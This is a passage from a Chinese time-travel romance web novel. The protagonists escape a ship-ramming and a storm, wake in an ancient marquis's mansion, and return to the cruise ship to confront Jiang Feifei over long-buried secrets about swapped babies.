他水性好,划船的技术也很好,专门往游轮无法瞬间偏离的方向划,没有多久,就来到了游轮的“盲区”,千钧一发之时,姜敬意险险躲过了游轮的第二次攻击。 “轰——” 游轮从两艘救生艇中间惊险万分地擦过,掀起的巨浪差点将小艇掀翻。 冰冷的海水劈头盖脸地浇下来。 “咳咳咳……好险!”姜敬意呛了几口水,心有余悸。 然而,游轮并未走远,在前方划出一个巨大的弧线,再次调转船头,准备进行第三次冲撞。 这一次,游轮的速度更快,来势更凶。 就在游轮即将靠近的瞬间,裴应见忽然对姜敬意喊道:“右满舵!” 姜敬意不明所以,但出于信任,还是立刻照做。 裴应见和秦绵绵则在自己的小艇上,用尽全力向左划水。 两艘小艇出人意料地没有分开躲避,反而朝着一个方向,几乎是贴着游轮的船头,险之又险地擦了过去! 游轮因为惯性,想要立刻转向已经来不及,巨大的船身从他们刚才的位置呼啸而过。 “漂亮!”姜敬意忍不住叫好。 萧玦在甲板上看到这一幕,脸色越发阴沉。 “废物!一群废物!给我撞!撞死他们!”姜飞飞在旁边气得跳脚,尖声嘶吼。 而就在游轮准备再次调整方向的时候,海面上的风突然开始大了起来,乌云肉眼可见地逐渐开始聚集,天色转暗,一场风暴似乎即将来临。 萧玦的脸色忽然又好了点。 他突然抬手,示意手下停止攻击。 游轮减缓了速度,但海面却并未平静下来,反而愈发波涛汹涌起来。 “浪来了!” 裴应见突然喊道。 只见一道数米高的巨浪,如同水墙一般,朝着他们汹涌拍来! 这浪头并非游轮造成,而是大自然的威力。 “抓紧!”秦绵绵只来得及喊出这两个字。 “哗啦——” 巨浪无情地砸下,两艘救生艇如同玩具般被抛向空中,又重重落下。 秦绵绵感觉天旋地转,等她勉强稳住身形,呛出几口海水,再睁眼时,裴应见仍然紧紧贴在她身边,但姜敬意和他那艘小艇,却已不见了踪影! “四叔!” 秦绵绵心中一紧。 裴应见也眉头紧锁。 而那艘巨大的游轮,在经历了这突如其来的巨浪后,也停下了追击的动作。 船上的人似乎也察觉到了天气的骤变。 “哥哥,我们何不……”姜飞飞仍然十分兴奋。 萧玦抬头看了看天,又望了望波涛汹涌的海面,冷声道: “这一带是风暴区,他们活不了。返航。” 姜飞飞立刻略有失望。 但她不敢违逆萧玦的意思。 虽然没能亲眼看到秦绵绵和裴应见被撞死,但这样的天气,掉进海里跟死了也没什么区别。 姜飞飞顿了顿,脸上立刻露出了得意的笑容: “算便宜他们了!哼,葬身鱼腹,也是他们的荣幸!” 游轮缓缓调转船头,在一片风雨欲来中,渐渐驶离。 海面上,只剩下秦绵绵和裴应见的救生艇,在风浪中飘摇。 雨点开始噼里啪啦地砸下来,海风卷着浪花,打在脸上生疼。 “四叔他水性很好,应该不会有事。”裴应见的声音有些沙哑,试图安慰秦绵绵。 秦绵绵沉默着,望着茫茫大海,心中一片沉重。 两人在风浪中漂流了一阵,天色越来越暗。 就在裴应见担心姜敬意恐怕凶多吉少的时候,秦绵绵忽然指着远处: “你看!” 一道微弱但清晰的红色光芒,在昏暗的海天之间升起,然后炸开,像一朵小小的烟花。 是信号弹。 “是四叔!”秦绵绵精神一振。 她辨认了一下方向,眼中露出一丝喜色: “那个方向,如果我没记错,应该有一个不大的荒岛。他应该是漂到那里去了,他安全了!” 得知姜敬意可能安全,裴应见也松了口气。 他看向秦绵绵。 她被海水浸湿的头发贴在脸颊上,平日里明亮的眸子此刻也带着几分疲惫,却依旧闪烁着坚定的光。 他忽然伸出手去,抚了抚她的发丝。 “绵绵……”裴应见的声音在风雨中显得格外清晰。 秦绵绵微微一怔,转头看他,雨水顺着她的脸颊滴落。 漫天风雨中,不知道为什么,他忽然弯了弯唇角。 秦绵绵不解地歪了歪头。 他看向她的眼神更加深邃了。 她想说什么,却被他伸过来的手轻轻拭去了脸颊上的水珠。 他的指尖带着一丝凉意,却让秦绵绵的心头莫名一跳。 第208章 是梦吧 风大雨急,小小的救生艇被吹得颠簸不已。 秦绵绵和裴应见两个人要很努力才能稳住身形。 但就在这仓皇狼狈的时刻,他却不说话了。 就这么看着她。 秦绵绵被他看得心里忽然开始微漾。 “你……想说什么。” 她忍不住先开了口,雨水混着海水从发梢滴落,有些狼狈,眼神却依旧清亮。 裴应见只道:“没什么想说的。” 但说着话,他突然凑近了。 那张俊美无俦的脸庞在昏暗天色下显得有些模糊,却带着一种致命的吸引力。 他自然而然地伸手过来,揽住她的腰身,把她带到自己怀里。 秦绵绵后知后觉起来,这家伙,竟然在这种时候,这种地方,还有心思跟她亲近。 她脸颊有些发烫,也不知是风吹的还是别的,咳嗽了一声,才道: “还是想想怎么脱身吧?” “你看这洋流,我们应该会离刚才那个小岛越来越远了,而且风暴马上就要来了。” 头顶的乌云越压越低,几乎要与翻涌的海面连在一起,豆大的雨点砸落下来,视野都变得模糊。 “我知道。”裴应见的声音低沉而沙哑,带着一丝奇异的安抚人心的力量。 他将她揽得更紧了些,用自己的身体为她挡住一部分风雨,“但此刻,我只想看着你。” 秦绵绵心头一颤,那些关于危险、关于未知的焦虑,仿佛在这一刻被他深邃的目光驱散了不少。 “绵绵,”裴应见低下头,温热的呼吸拂过她的耳廓,“无论将来如何,有你在此刻,我便觉得……不枉此行。” 秦绵绵仰头看着他,雨水模糊了她的视线,也模糊了他的轮廓。 她从来内敛,此刻却好似有千言万语想说,却又不知从何说起。 就在此时,天色骤然暗沉如墨,狂风怒号,一道闪电撕裂天幕,紧接着是震耳欲聋的雷鸣。 “轰隆隆——” 海面像是被一只无形的巨手搅动,数米高的巨浪如同发怒的凶兽,咆哮着朝他们这叶扁舟扑来。 “抱紧我。”裴应见脸色不变,双臂却如铁钳般将秦绵绵死死禁锢在怀中。 秦绵绵只觉得一股无法抗拒的巨大力量袭来,救生艇瞬间被抛向浪尖,又狠狠砸落。 天旋地转,五脏六腑都像是错了位。 她最后的意识,是裴应见在漫天风浪中,依旧沉静自信的神情。 他紧紧抱着她,周围是天旋地转的混沌。 巨大的危险,还有他给的巨大的安全感。 然后,她彻底失去了知觉。 …… “唔……” 秦绵绵在一阵头痛欲裂中醒来,入眼是雕花床顶,鼻尖萦绕着淡淡的檀香。 有点熟悉。 她有些茫然地眨了眨眼,这好像是……裴应见的卧房? 难道……又做梦了? 她记得他们被萧玦和姜飞飞追杀,跳了海,然后遇到了巨大的风暴……对了,风暴。 秦绵绵一个激灵坐起身,环顾四周。 古色古香的陈设,窗外是明媚的阳光和清脆的鸟鸣,哪里有半分风雨飘摇的狼狈? “肯定是在风暴里被打晕了,现在在做梦呢。” 秦绵绵揉了揉还有些发胀的太阳穴,长长舒了口气。 既然是梦,那就不必顾忌那么多了。 她掀开锦被,趿拉着鞋子走到外间,果然看到裴应见正临窗而立,负手看着窗外的景致,一身月白常服,身姿挺拔如松。 秦绵绵站在那,好好欣赏了一会儿自己梦中的这个家伙,半晌,才懒懒开口: “大侯爷,早啊。” 秦绵绵笑吟吟地走过去。 裴应见闻声回头,见她醒了,眉眼间染上一丝柔和: “醒了?可要用些早膳?” “要!”秦绵绵毫不客气,径直走到他身边,挨着他坐下,还故意往他身上靠了靠,感受着他身上传来的温热体温。 嗯,梦里的感觉还挺真实的。 裴应见身子微微一僵,随即放松下来,眼中闪过一丝不易察觉的笑意。 早膳很快送了上来,清粥小菜,精致可口。 秦绵绵拿起一只白玉小包子,咬了一口,又笑眯眯地递到裴应见唇边:“侯爷,你也尝尝,这个味道不错。” 这些都是厨房做惯了他也吃惯了的东西,可是跟她一起吃,却还是第一次。 裴应见看着她那双亮晶晶的眸子,带着几分狡黠和促狭,微微挑眉,从善如流地就着她的手咬了一口。 秦绵绵心满意足地收回手,又夹起一块水晶肴肉,作势要喂他。 清晨的风很凉爽,院子里隐隐幽香沁人心脾。 两个人之间的空气却不知道怎么回事,微微有些黏腻。 这点黏腻弄的秦绵绵心里痒痒的,但却又很是舒服。 她面上不显,心中却在微微叹气。 这样的梦真好啊,如果能多做几次,那就更好了。 这么想着,她又故意朝他那边靠了靠,几乎贴在他身上。 不同于风暴中的湿冷,此刻在梦中,他的身体很热。 秦绵绵觉得自己,好像也很热。 两人突然就都沉默了下来,只是互相望着彼此,好像有话要说,却又根本不想说。 气氛凝滞着。 就在这时,门外传来一声恭敬的声音: “侯爷,有要事禀报。” “啧。” 秦绵绵不满地撇了撇嘴,梦里怎么还有人来打扰。 裴应见无奈地看了她一眼,扬声道:“进来。” 青川推门而入,目不斜视地禀报道: “前几日宫中宝库失窃,丢失珍宝无数。圣上龙颜大怒,闻讯后气急攻心,已然卧病在床,并下令彻查此事,京中禁军已四处搜捕。” 裴应见脸上不辨喜怒。 秦绵绵却在一旁听得津津有味。 皇帝老儿丢失的这批珍宝,应该就是裴应见弄到现代去的那一批。 可惜,拍卖会还没开始,先跟姜飞飞和萧玦交了手。 他们的宝物都还在船上呢,也不知道还能不能有机会再拍卖,能不能拿到这笔急用的钱。 “知道了,下去吧。” 待青川退下,他才看向秦绵绵,捕捉到她的似乎有些天马行空的表情,不由失笑,伸手捏了捏她的脸颊: “在想什么?” 第209章 真有这么巧合的事吗 “我在想……这梦可真有意思。”秦绵绵喃喃一句,笑嘻嘻地拍开他的手。 裴应见也不恼,任由她的小动作,只是那双深邃的眼眸里,笑意渐浓,仿佛盛满了窗外倾泻而入的晨光。 “既然是梦,那侯爷,”秦绵绵拖长了语调,又凑近了些,几乎是贴着他的耳朵,压低了声音,带着几分戏谑,“要不要……再做点别的有意思的事情?” 她的气息温热,带着一丝若有似无的甜香,拂过裴应见的耳廓,让他心头微微一荡。 他侧过脸,鼻尖几乎要碰到她的,声音带着一丝不易察觉的沙哑:“比如?” 秦绵绵眼珠一转,正要开口,煞风景的声音又从门的里面传了过来。 笃笃…… 裴应见的脸色一下就变了,变得很是无奈。 秦绵绵立刻就知道肯定是又有人上门了,而且这次来的是更重要的人,这声音只怕就是暗号。 她很生气。 怎么做梦都这么烦人。 这梦里的人更是惹人讨厌,一个接一个的,还让不让人好好做梦了! 裴应见眼中闪过一丝无奈,伸手揉了揉她的头发。 “跟我去见见我的至交好友如何,你也认识的,就是云神医。” 秦绵绵只好舍了没吃完的早晨,跟他一起去了书房。 书房里自是有密室,他也没有遮掩,直接在她面前演示了如何开启机关。 很快,一袭白衣的云承月坐着轮椅,悠悠然从密道里走了出来。 他今日的脸色似乎比往日更加苍白了几分,眉宇间带着一股挥之不去的郁色和一丝隐秘的急迫。 云承月一进门,目光便直直看向裴应见,语气严肃,“我得到了一些关于我那师兄的消息。” 裴应见神色一凛:“他在何处?” “尚不完全确定,但种种迹象表明,他极有可能就在京城。” 云承月正说着,忽然眉头一凛,手不自觉地按了按自己的心口。 裴应见知道他素有心疾,立刻帮他在轮椅口袋里找药。 云承月疼的厉害,没多久额头上就渗出了汗珠,裴应见连忙把拿到的药塞到他嘴里,云承月含服片刻之后,脸色终于缓和了一点。 秦绵绵在一旁悄无声息地看着这一幕。 云承月缓过一口气,微微一叹,看了看秦绵绵,又转向裴应见。 “我已时日无多,死之前,我却是一定要找到他,手刃了这个祸害的。” 他的声音不高,却透着一股决绝的寒意,让周遭的空气都冷了几分。 裴应见闻言,心头一沉,握着扶手的手指不自觉地收紧,却终究没有说出劝慰的话来。 半晌,裴应见才沉声开口,却转换了话题:“你那师兄……是何模样?可有画像?” 云承月摇了摇头,眼中掠过一丝复杂: “他是天残,你早已知道了,他生来便缺了右手右脚,只有左半边。至于容貌,我也从未见过。当年师父收他为徒时,他便戴着面具,说是不愿以丑陋面目示人……” “他天分极高,学成之后就下手杀害了师父,这些年网络党羽,做尽了天理不容的勾当,此人,我是必须要除掉的。” 天残…… 缺了右手右脚…… 裴应见脑中蓦地闪过一道身影,那个坐在轮椅上,脸色阴沉,手段狠戾的萧玦。 萧玦也是天残,但他缺失的却是左手左脚,而这两个人的行事风格,却又有很多相似之处。 这世上,当真有如此巧合之事? 裴应见的心头,疑云顿生。 就在此时,一直安静旁观的秦绵绵却忽然上前一步,伸出手,轻轻搭在了云承月的手腕上。 云承月一怔,裴应见也有些意外。 秦绵绵垂着眸子,指尖轻按,神情专注,片刻后她抬起头,看着云承月,语气带着几分笃定: “云神医,你这心疾,可是先天不足所致?” 云承月眼中闪过一丝讶异,随即化为赞赏:“秦姑娘好医术。不错,我这毛病,打娘胎里带出来的,无药可医。” 他语气平淡,仿佛在说一件与己无关的小事。 秦绵绵闻言,却轻轻叹了口气,脸上露出几分惋惜,喃喃道: “唉,可惜了,这只是个梦。若是回到,做个换心手术,或许还能搏一搏,保住这条命。” 她这话说的随意,裴应见听了,心中却是一动,他深深看了秦绵绵一眼,唇角微不可察地扬了扬: “绵绵,若是真有法子,你可上点心,千万别忘了此事。” 云承月更是诧异,他看看秦绵绵,又看看裴应见,正想开口细问秦绵绵到底在说什么梦不梦的事。 裴应见却适时地轻轻碰了碰他的手臂,递了个眼色。 云承月何等剔透之人,瞬间便明白了过来。 原来这位秦姑娘,竟还以为自己身在梦中。 他不由失笑,将到了嘴边的话又咽了回去。 秦绵绵打了个哈欠,揉了揉眼睛:“说了这半天话,我又困了。梦里就是容易犯困。” 她摆摆手,“我先去歇会儿,你们慢慢聊。” 说着,便自顾自地往外走,回裴应见的卧房去了。 待秦绵绵的身影消失在门后,书房内的气氛才松弛下来。 云承月看向裴应见,眉梢微挑,带着几分揶揄: “大侯爷,如今秦姑娘已然到了此处,你们之间再无时空阻隔,你该说的话,是不是也该说给人家听了?” 裴应见端起茶杯,浅啜一口,顾左右而言他: “我们之间的事,你倒操心不少。你还是多想想你自己的事吧。” “哦……你堂堂侯爷,只有我这么一个至交好友,这么重要的事,却不让我管,所为为何?”云承月轻笑一声,摇着轮椅凑近了些,一针见血地道,“其实你不说,我也知道。我看你就是闷的紧,不是不敢说,而是分明乐在其中,享受这种将明未明,将破未破的滋味吧?” 裴应见一口茶还没咽下去,顿时喷了出来。 他丢下茶杯,平日里的从容早已不见。 “你一个女孩子的手都没摸过的人,你懂什么!在这里指点江山!” 第210章 梦的真实性 大侯爷气急败坏,转头就推他轮椅:“去去去,快回家去熬你的药去吧,别人被窝里的事,你少管!” 云承月被推走,也不恼,反而大笑着不停问他,到底被窝里都有什么事。 只把堂堂侯爷给问的满脸通红,用最快速度给他塞进了密道里去,这才舒了一口气。 …… 裴应见送走了云承月,心中那点被友人调侃出来的热意尚未完全散去。他转身,脚步轻快地回了卧房。 秦绵绵果然睡着了,侧卧在榻上,锦被只盖到腰间,露出一截纤细的皓腕。 她呼吸均匀,睡颜恬静,长长的睫毛在眼下投下一小片阴影,全然不似清醒时那般带着几分狡黠和灵动,此刻的她,乖巧得像一只猫儿。 裴应见走到床边,静静地看了她片刻,唇角不自觉地扬起一抹温柔的弧度。 他伸出手,想替她掖好被角,指尖却在即将触碰到她的时候微微一顿,转而轻轻拂开她颊边的一缕碎发。 这丫头,在梦里倒是胆子大得很。 他低笑一声,转身出了卧房,来到书房。 青川早已等候在侧,见他进来,立刻躬身行礼:“侯爷。” “说吧。”裴应见在主位坐下,神色恢复了往日的沉静。 “青州那边,按您的吩咐,已暗中联络了当地几支颇有实力的乡绅武装,粮草军械也已分批隐秘运抵,只待时机。”青川语速平稳地汇报,“燕州方面,进展更为顺利,负责接洽的故旧对侯爷忠心耿耿,已然将大半兵马的调动权暗中交托。如今两州之力,若侯爷振臂一呼,旦夕可定。” 裴应见微微颔首,眼中闪过一丝满意。 青州与燕州,他自上次回来,就已经开始布局如今看来,已然羽翼渐丰。 “很好。”他沉吟片刻,又道,“晚些时候,去宫里请个太医过来。” 青川一怔,但并未多问,只恭声应下:“是。” 待到午后,秦绵绵悠悠转醒,伸了个懒腰,只觉得这一觉睡得神清气爽。 裴应见恰好推门进来,见她醒了,便道:“绵绵,稍后我要演一出戏,你且先避一避。” “演戏?”秦绵绵来了兴致,从床上坐起,“演给谁看?要我帮忙吗?” 裴应见看她那跃跃欲试的模样,失笑道:“不必,你躲在卧房屏风后看着便好。” 不多时,宫中派来的太医便到了。 裴应见已换上了一身素净的常服,脸色也适时地变得有些苍白,见了太医,还象征性地咳嗽了几声。 秦绵绵依言躲在屏风后,悄悄竖起耳朵,饶有兴致地听着。 那太医显然是宫里的老人,见裴应见这般模样,也不敢怠慢,仔细诊脉,又询问了症状,半晌才捻着胡须道: “侯爷这身子,底子还是有些虚。先前受的伤虽不致命,却也损了元气,调养了这些时日,仍未能彻底痊愈。还需静养,切忌劳心劳力。” 说着,便开了张方子,命人抓药煎服。 太医毕恭毕敬地告退,回去复命。 待人一走,裴应见便将那药方随手扔在了一旁,哪里有半分要遵医嘱的意思。 秦绵绵从屏风后转了出来,走到他身边,若有所思地看着他。 裴应见挑眉:“看明白了?” 秦绵绵点了点头。 她自然明白,裴应见这是故意装病给皇帝看。 一来,是延续上次宫宴他假装重伤遁走,好去联络禁卫军统领巴树荣救驾之事,那之后他就“消失”了,一直在府中未曾现身人前,自然要有个说法,重伤未愈便是最好的借口。 二来,眼下皇帝的宝库失窃,闹得满城风雨,他这一病,更是能将自己摘得干干净净,免得被卷入这趟浑水。 “咱们侯爷果然深谋远虑。”秦绵绵赞了一句。 裴应见轻笑,揉了揉她的发顶:“我们绵绵,当真是冰雪聪明。” 秦绵绵瞥他一眼,轻轻呸了一口,但随之而来的,却是一股莫名的异样感。 她这次做的这个“梦”,似乎……太久了。 而且,梦里的事情,无论是人物还是情节,逻辑都异常清晰,甚至能和她在现代世界的记忆,以及之前断断续续的“梦境”严丝合缝地对应起来。 这……真的只是个梦吗? 秦绵绵心头,第一次对这个“梦境”的真实性,产生了一丝细微的动摇。 没等她细想,裴应见已然走近,在她身边坐下。 他侧过身,单手撑在榻上,将她半圈在怀里,低头凝视着她,眼神里流淌着一种难以言喻的深邃与温柔却又掺杂着无限的宠溺与纵容。 “在想什么?”他的声音低沉,带着一丝沙哑的磁性,像羽毛一样拂过她的耳廓。 秦绵绵的心跳漏了一拍,那股异样的感觉瞬间被他周身的压迫感驱散。 她下意识地想后退,却发现自己已被他完全笼罩。 “没什么……”她小声嘟哝。 裴应见轻笑,指尖沿着她的脸颊缓缓下滑,停留在她唇边。 他的拇指轻轻摩挲着她柔软的唇瓣,眼神愈发幽深。 “没什么?”他重复了一遍,声音更低了,“可我怎么觉得……你心里想的,分明是我?” 不等她回答,他的头便缓缓压了下来。 秦绵绵呼吸一滞,脑海中关于梦境、关于古怪大宅、关于四叔和盛意的念头,在这一刻,仿佛被一只无形的手尽数扫空。 她的全部感官,都被眼前这个男人所占据。 唇齿相依,缠绵悱恻。 她没有抗拒,甚至有些沉溺。这个男人,无论是梦里还是“梦外”,都对她有着致命的吸引力。 她本来还想着如果这个梦境够久,那就离开侯府,去那古怪大宅探探,可这个的念头,此刻却已显得那么遥远而不重要。 春宵苦短,她还是决定先“吃”眼前这个秀色可餐的家伙再说。 气氛愈发灼热,两人的呼吸都变得急促起来,正当干柴烈火即将彻底点燃之际—— “侯爷!” 突兀的敲门声伴随着下人的禀报声,像一盆冷水,瞬间浇熄了满室的旖旎。 第211章 怎么回来的 裴应见动作一顿,眉头微不可察地皱了一下,眼中闪过一丝被打断的不悦。 他低头在她唇上轻啄一下,声音带着被打扰后的慵懒: “何事?” “侯爷,饭食备好了,是否现在传膳?” 秦绵绵趁机推了推他,红着脸理了理衣裳。 裴应见坐起身,轻咳一声,恢复了平日的清冷模样:“知道了,传膳吧。” 被打断的秦绵绵也冷静了下来。 用过饭,她坐在桌边,用筷子无意识地拨弄着碗里的米粒,思维又渐渐清晰起来。 那种不真实感,那种对“梦境”的怀疑,再次萦绕心头。 她担心四叔,担心盛意,不知道他们现在怎么样了。 更重要的是,如果这真的是个梦,她要如何才能醒来? 她不想一直被困在这里,尽管这里有裴应见, 但这毕竟不是她的世界。 裴应见见她这副心不在焉的模样,便知她又陷入了沉思。 他没有打扰她。 夜色渐深,秦绵绵终于抵不住睡意,沉沉睡去。 清晨时分,天边刚泛起鱼肚白。 裴应见抱着熟睡的秦绵绵,屋内忽然浮起一阵薄雾。 雾气散去时,雕花木床和桌椅已然消失不见,取而代之的是一片碧波万顷的大海,以及脚下坚实的甲板触感。 巨大的白色游轮,正平稳地航行在海面上。 空气里是海风特有的咸涩,混杂着淡淡的消毒水和一丝咖啡的香气,是现代文明独有的味道。 甲板上已经有人在忙碌。 游轮上下,似乎一切如常。 广播里播放着轻柔的音乐,服务生穿梭其间,客人们在甲板上散步、聊天。 仿佛昨天发生的那些惊心动魄的事情,都好像从未发生过一样。 而今天,游轮上的主要活动,就是即将开始的拍卖会。 游轮上的一切都是那么的美好而和谐,唯一不和谐的,就是突然出现的裴应见和秦绵绵二人。 他们毫无征兆,仿佛从天而降,一瞬间就出现在了甲板上。 甲板上人不多,倒是没有人注意到这异样的一切,可这些却全都被监控探头捕捉到了。 裴应见眸色微动,低头看向怀中的秦绵绵,轻轻拍了拍她的脸颊。 “绵绵,醒醒。咱们又要开始战斗了。” 秦绵绵迷迷糊糊地睁开眼,入目的不再是熟悉的床幔,而是开阔的甲板和远方的海平线,以及身边一身古装、却与周围环境格格不入的裴应见。 她一个激灵彻底清醒过来,猛地坐起,环顾四周。 “我们回来了?” 几个早起的游客在远处栏杆边凭栏远眺,一切看起来平静得诡异。 裴应见拉着她的手,脚步不停地朝着船舱方向走去,同时飞快地扫视着周围的环境,低声道: “我也不清楚。醒来时便发觉周遭变了,而你,正牵着我的手。” 他侧头看了她一眼,语气带上了几分调侃,“难道不是你带我回来的?” “我?”秦绵绵更蒙了。 但她明明一直在梦境中。 她脑子里乱糟糟的,但眼下的情况显然不容她细想。 裴应见的目标很明确。 他们故意在几个监控探头下快步走过,又在一个人流量稍多的转角处再次现身,果然,立刻就看到有穿着侍应生制服的人眼神闪烁,悄悄对着通讯器低语。 “成了。”裴应见低语一句,拉着秦绵绵猛地一转,钻进了一条员工专用的内部通道。 这条路避开了主要的监控和客流,显然是裴应见早已熟悉或者推算出的近路。 七拐八绕之后,他们停在了一扇格外豪华的门前。 门口守着几个黑衣壮汉,眼神警惕。 几乎没有废话,裴应见身形一晃便欺身而上,动作快如闪电,干净利落地解决了左边几人。 秦绵绵也没闲着,趁着右边的人被裴应见吸引注意力的瞬间,猛地上前,干净利落地干掉了他们,顺便还顺走了他们的武器。 裴应见踹开房门,两人闪身而入。 房间里很安静,萧玦不在。 方才裴应见故意带着秦绵绵现身,就是为了调虎离山。 得知本该葬身在风暴大海里的两人突然又出现在甲板上,饶是警惕如萧玦,也不可能不亲自去看看的。 而姜飞飞,她好像才刚睡醒。 秦绵绵一脚踹开姜飞飞卧室的门, 姜飞飞正慌乱地从床上爬起,看样子是想往内侧的洗手间躲。 秦绵绵眼疾手快,身形一闪,就用一样东西轻巧地抵在了姜飞飞的太阳穴上。 入手的分量和触感让姜飞飞心头一跳——是枪! “别动!”秦绵绵笑了一声,道。 姜飞飞身体一僵,脸上血色褪尽,惊恐地看着突然出现的两人,尤其是秦绵绵手中那黑洞洞的枪口。 她怎么也想不通,这两个应该葬身海底或者被风暴撕碎的人,怎么会完好无损地出现在这里! “你……你们……”姜飞飞声音发颤,却兀自强撑着,“你们敢动我?打死我,你们也别想活着离开这艘船!” 秦绵绵闻言,嘴角却勾起一抹冷笑,反问道:“是吗?那不如你先告诉我,我们俩掉进海里,还经历了那么大的风暴,又是怎么回来的呢?” 她和裴应见此刻衣衫虽然还是侯府的样式,却整洁干净,甚至因为之前睡了一觉,脸上还带着一丝慵懒的气息,哪里像是刚从生死边缘挣扎回来的样子? 倒更像是去哪个风平浪静的地方度了个短假刚回来。 看着两人这副气定神闲、甚至可以说是悠闲的模样,姜飞飞彻底懵了。 对啊……他们是怎么回来的? 这不合常理! “哥哥……”姜飞飞下意识地就想呼叫救援。 可惜。 “你的好哥哥,现在正在甲板上呢。” 姜飞飞脸色难看,心思却仍在不停转动,但秦绵绵却不给她作妖的机会,直接拽着她就往外面走。 “走吧,让我们用你,再跟你的好哥哥做个交易。” 姜飞飞的脸色却猛地变得煞白。 之前她不是没落在这两人手上过,那时候萧玦手里有姜敬意,本来两人是可以交换的,可是萧玦做了什么? 他直接把姜敬意从船上扔了下去! 第212章 当年真相 姜飞飞从前不是很了解萧玦,但是经过那件事,她了解了。 他的这位哥哥虽然因为她失而复得很宝贝她,但是在真正威胁到自己利益的时候,也可以毫不在意地把她舍弃! 同样的事情,她绝对不可以再让它发生第二次了! 电光火石之间,姜飞飞眼中闪过一丝决绝。 与其再次成为别人手中的筹码,任人拿捏,不如…… 她猛地抬手,不知从哪里摸出一把锋利的水果刀,毫不犹豫地就朝着自己的手腕狠狠划去! 秦绵绵瞳孔一缩,几乎是本能反应,手疾眼快,一脚踢在姜飞飞的手腕上。 “当啷”一声,水果刀脱手飞出,掉落在铺着厚地毯的地面上,发出一声闷响。 姜飞飞手腕吃痛,脸上却带着一种病态的疯狂和怨毒,死死盯着秦绵绵: “秦绵绵!你为什么要回来!你为什么不死在海里!” 她声音尖利,带着无尽的恨意:“都是你!如果不是你,我怎么会受那么多苦!是你偷走了我的人生!是你和你那个恶毒的妈!我跟你,不共戴天!” 裴应见一直安静地站在秦绵绵身后,此刻闻言,眸色沉了沉,却并未插话,只将警惕的目光锁定在姜飞飞身上,以防她再有异动。 秦绵绵看着姜飞飞那副歇斯底里的模样,叹了口气:“姜飞飞,你冷静一点。你所认为的真相,或许从一开始就是错的。” “错的?”姜飞飞像是听到了什么天大的笑话,尖声笑道,“我亲身经历的苦难,难道也是错的?我告诉你,秦绵绵,我永远不会忘记那些日日夜夜!这一切的根源,就是你!” “这一切的根源,不是我,也不是我母亲。姜飞飞,不管你想不想听,今天我都打算把这件事说清楚。” 她顿了顿,开始将那些被尘封的往事,一点点揭开。 “当年,姜家的确发生过真假千金的事情。但始作俑者,是姜家的一个仇人。是他,把你和我,两个刚刚出生的婴儿掉了包。所以,你被换到了秦家,而我,阴差阳错地,也成了姜家的孩子。” “那个仇人,并没有就此罢手。他又设计,鼓动我的亲生父亲秦华青,让他把你卖掉。秦华青当时失手误杀了我母亲潘佳芸,也就是你名义上的母亲,为了掩盖罪行,也为了钱,他听信了谗言,把你卖了,还制造出潘佳芸卖女携款潜逃的假象。” “至于你,”秦绵绵看向姜飞飞,语气中带上了一丝不易察觉的叹息,“对于你的遭遇,我表示同情。你被人从秦家卖到了山里,做了童养媳,受尽了折磨,长大后才侥幸逃了出来,最终被姜家认回……” 说到这里,秦绵绵顿了顿。 姜飞飞也好似被人掐住了脖子一般,费了很大力气,才能喘口气。 看来从前在山里的那些经历,确实是她的噩梦。 “你一直以为,是你口中我恶毒的妈,也就是潘佳芸,为了钱把你卖了,所以你恨她,恨我。可实际上,我母亲潘佳芸早就死了,她也是个受害者。而你我,从一开始,就是别人阴谋算计下的棋子。” 姜飞飞怔怔地听着,脸上的血色一点点褪去。 这些话像是一把重锤,狠狠砸在她的心上,让她有些喘不过气来。 是,在秦绵绵证实了潘佳芸命案的时候,这一切就浮出水面了,但是她却不愿意相信。 如果相信了这些,那她这么多年的苦,这么多年的仇,不就没有地方去报了吗。 所以她固执地一直不肯听不肯看,一直固执地恨着秦绵绵。 秦绵绵看着她的反应,叹了口气。 “而这,甚至还不是全部的真相。”秦绵绵声音微沉,“根据顾姐的交代,以及你现在被萧玦认回,相信你也知道了,你也并非姜家的亲生女儿,而是京城萧家的女儿。” “当年,顾姐从京城拐来了两个女婴,想卖个高价。但因为那两个孩子都特别爱哭闹,顾姐嫌烦,就连夜将她们低价处理给了一个妇产科医生。” “当年的姜夫人柏美俞,和我的生母潘佳芸,她们在同一家医院生孩子。而最初生下的都是男孩。那个医生为了谋利,偷掉两个孩子卖掉了,对外就说孩子死了。可惜柏美俞和姜开元夫妇并不好糊弄,他不敢掉以轻心,只好从顾姐那里低价买来了那两个女婴,用以搪塞。” “也就是说,最初被抱进姜家的我和后来被换入的秦家的你,就是这两个从一开始就被拐卖来的女婴。之后,姜家的那个仇人,又把我们这两个女婴给掉了包。这才有了你和我后来的人生。” 秦绵绵看着姜飞飞,一字一句道: “所以,姜飞飞,你恨错了人。你的苦难,我的颠沛,从源头上说,都和我母亲潘佳芸无关,也和我无关。我们,从出生起,就都卷入了一场又一场的阴谋算计之中。” 房间内一片死寂。 姜飞飞的身体微微颤抖着,脸上一片茫然,又夹杂着痛苦和挣扎。 她所坚守的仇恨,她赖以支撑自己活下去的信念,在这一刻,似乎被秦绵绵的话语彻底击碎了。 她这些年,真的恨错了人,报复错了方向吗? 不……她不愿意相信! “你胡说!”姜飞飞猛地尖叫起来,眼神重新变得凶狠,“你说的这些,都是为了给你自己脱罪!不管怎么样,我们就是仇人!我受过的苦,总要有人来偿还!” 她死死地盯着秦绵绵,仿佛要将她生吞活剥:“我的人生已经被毁了!是你占了本该属于我的东西!我绝对不会放过你!” 秦绵绵看着她执迷不悟的样子,轻轻叹了口气。她知道,积压多年的仇恨,不是三言两语就能化解的。 姜飞飞此人尤其执迷不悟,如今都已经回归萧家了,仍然执着地恨着她。 裴应见适时上前一步,将秦绵绵微不可察地护在身后,声音冷冽:“事实如何,你心中自有判断。现在,你最好配合一点。” 第213章 藏到一个安全的地方 姜飞飞被裴应见那如寒潭般深邃的目光一扫,心头没来由地一悸。 但随之而来的,是更加歇斯底里的疯狂。 姜飞飞眼中闪过一丝决绝。 趁着秦绵绵和裴应见注意力略微分开的瞬间,她突然发力,不是扑向两人,而是猛地朝着床头柜的尖角撞去! 她绝对不会受这些人的摆布,更不愿看到被萧玦抛弃的事实,她宁愿拼死搏一把。 “小心!” 裴应见低喝一声,但秦绵绵的动作比他的声音更快。 只见秦绵绵身形一晃,几乎在姜飞飞动作的同时就已预判到了她的意图。 